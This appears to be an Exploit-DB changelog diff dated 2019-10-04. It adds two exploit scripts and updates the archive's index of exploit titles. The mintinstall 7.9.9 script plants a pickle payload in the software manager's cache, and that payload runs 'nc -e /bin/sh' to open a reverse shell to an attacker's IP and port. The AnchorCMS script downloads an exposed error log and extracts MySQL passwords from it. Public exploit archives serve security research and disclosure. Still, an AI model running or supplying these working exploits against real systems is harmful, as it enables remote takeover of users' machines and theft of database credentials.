DB: 2019-10-04

5 changes to exploits/shellcodes

Mobatek MobaXterm 12.1 - Buffer Overflow (SEH)

Mobatek MobaXterm 12.1 - Buffer Overflow (SEH)
mintinstall 7.9.9 - Code Execution
AnchorCMS < 0.12.3a - Information Disclosure

exploits/linux/webapps/47457.py

@@ -0,0 +1,20 @@
+# Exploit Title: mintinstall (aka Software Manager) object injection
+# Date: 10/02/2019
+# Exploit Author: Andhrimnirr
+# Vendor Homepage: https://www.linuxmint.com/
+# Software Link: mintinstall (aka Software Manager)
+# Version: 7.9.9
+# Tested on: Linux Mint
+# CVE : CVE-2019-17080
+
+
+import os
+import sys
+def shellCode(payload):
+    with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb:
+        wb.write(payload)
+    print("[+] Start mintinstall")
+if __name__=="__main__":
+    shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""")
+else:
+    print("[!] exploit.py [IP] [PORT]")

exploits/multiple/webapps/47459.py

@@ -0,0 +1,68 @@
+# Exploit Title: Information disclosure (MySQL password) in error log
+# Date: 2/10/2019
+# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)
+# Vendor Homepage: https://anchorcms.com/
+# Software Link: https://github.com/anchorcms/anchor-cms/releases
+# Version: 0.12.3a
+# Tested on: Linux
+# CVE : CVE-2018-7251
+
+# By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.
+
+import re
+import sys
+import importlib
+
+
+def get_plain(url):
+    try:
+        plain_result = requests.get(url=url)
+        return plain_result
+    except:
+        return None
+
+
+def print_usage():
+    print('Usage: {0} <url>'.format(__file__))
+
+
+if __name__ == '__main__':
+
+    # Ensure we have the URL
+    if len(sys.argv) != 2:
+        print_usage()
+        sys.exit(1)
+
+    print("* Using AnchorCMS website: " + sys.argv[1])
+
+    print("* Trying to import 'requests' module")
+    requests_loader = importlib.util.find_spec('requests')
+    requests_module_found = requests_loader is not None
+
+    if requests_module_found:
+        import requests
+    else:
+        print("* 'requests' module not found, please install it using pip")
+        print("* pip install requests")
+        sys.exit(1)
+
+    json_url = sys.argv[1].strip("/") + "/anchor/errors.log"
+    print("* Trying to get errors.log file at: {}".format(json_url))
+    plain_result = get_plain(json_url)
+
+    if plain_result == None:
+        print("* URL could not be requested, errors.log is probably not exposed")
+        sys.exit(1)
+
+    print("* Found data {}, trying to parse it now".format(plain_result))
+
+    lines = re.findall(r'"line":\d', plain_result.text)
+
+    print("* Found {} error entries".format(len(lines)))
+
+    passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text)
+
+    print("* Found {} passwords entries".format(len(passwords)))
+
+    for password in passwords:
+        print("+ {}".format(password))

files_exploits.csv

@@ -10695,6 +10695,7 @@ id,file,description,date,author,type,platform,port
 47394,exploits/windows/local/47394.py,"docPrint Pro 8.0 - SEH Buffer Overflow",2019-09-16,"Connor McGarr",local,windows,
 47400,exploits/macos/local/47400.md,"macOS 18.7.0 Kernel - Local Privilege Escalation",2019-09-19,A2nkF,local,macos,
 47421,exploits/linux/local/47421.rb,"ABRT - sosreport Privilege Escalation (Metasploit)",2019-09-25,Metasploit,local,linux,
+47429,exploits/windows/local/47429.py,"Mobatek MobaXterm 12.1 - Buffer Overflow (SEH)",2019-09-27,"Xavi Beltran",local,windows,
 47444,exploits/windows/local/47444.py,"DameWare Remote Support 12.1.0.34 - Buffer Overflow (SEH)",2019-10-01,"Xavi Beltran",local,windows,
 47454,exploits/windows/local/47454.md,"Counter-Strike Global Offensive 1.37.1.1 - 'vphysics.dll' Denial of Service (PoC)",2019-09-18,bi7s,local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
@@ -17690,7 +17691,6 @@ id,file,description,date,author,type,platform,port
 47408,exploits/watchos/remote/47408.py,"HPE Intelligent Management Center < 7.3 E0506P09 - Information Disclosure",2019-09-23,"Lazy Hacker",remote,watchos,
 47412,exploits/windows/remote/47412.py,"File Sharing Wizard 1.5.0 - POST SEH Overflow",2019-09-24,x00pwn,remote,windows,80
 47416,exploits/windows/remote/47416.rb,"Microsoft Windows - BlueKeep RDP Remote Windows Kernel Use After Free (Metasploit)",2019-09-24,Metasploit,remote,windows,3389
-47429,exploits/windows/remote/47429.py,"Mobatek MobaXterm 12.1 - Buffer Overflow (SEH)",2019-09-27,"Xavi Beltran",remote,windows,
 47439,exploits/multiple/remote/47439.txt,"GoAhead 2.5.0 - Host Header Injection",2019-09-30,Ramikan,remote,multiple,
 47442,exploits/hardware/remote/47442.py,"Cisco Small Business 220 Series - Multiple Vulnerabilities",2019-09-30,bashis,remote,hardware,
 47456,exploits/windows/remote/47456.rb,"DOUBLEPULSAR - Payload Execution and Neutralization (Metasploit)",2019-10-02,Metasploit,remote,windows,
@@ -41792,3 +41792,5 @@ id,file,description,date,author,type,platform,port
 47447,exploits/php/webapps/47447.py,"vBulletin 5.0 < 5.5.4 - Unauthenticated Remote Code Execution",2019-09-23,anonymous,webapps,php,
 47448,exploits/multiple/webapps/47448.py,"DotNetNuke < 9.4.0 - Cross-Site Scripting",2019-10-01,MaYaSeVeN,webapps,multiple,80
 47455,exploits/php/webapps/47455.php,"Detrix EDMS 1.2.3.1505 - SQL Injection",2019-10-02,"Burov Konstantin",webapps,php,80
+47457,exploits/linux/webapps/47457.py,"mintinstall 7.9.9 - Code Execution",2019-10-03,"İbrahim Hakan Şeker",webapps,linux,
+47459,exploits/multiple/webapps/47459.py,"AnchorCMS < 0.12.3a - Information Disclosure",2019-10-03,"Tijme Gommers",webapps,multiple,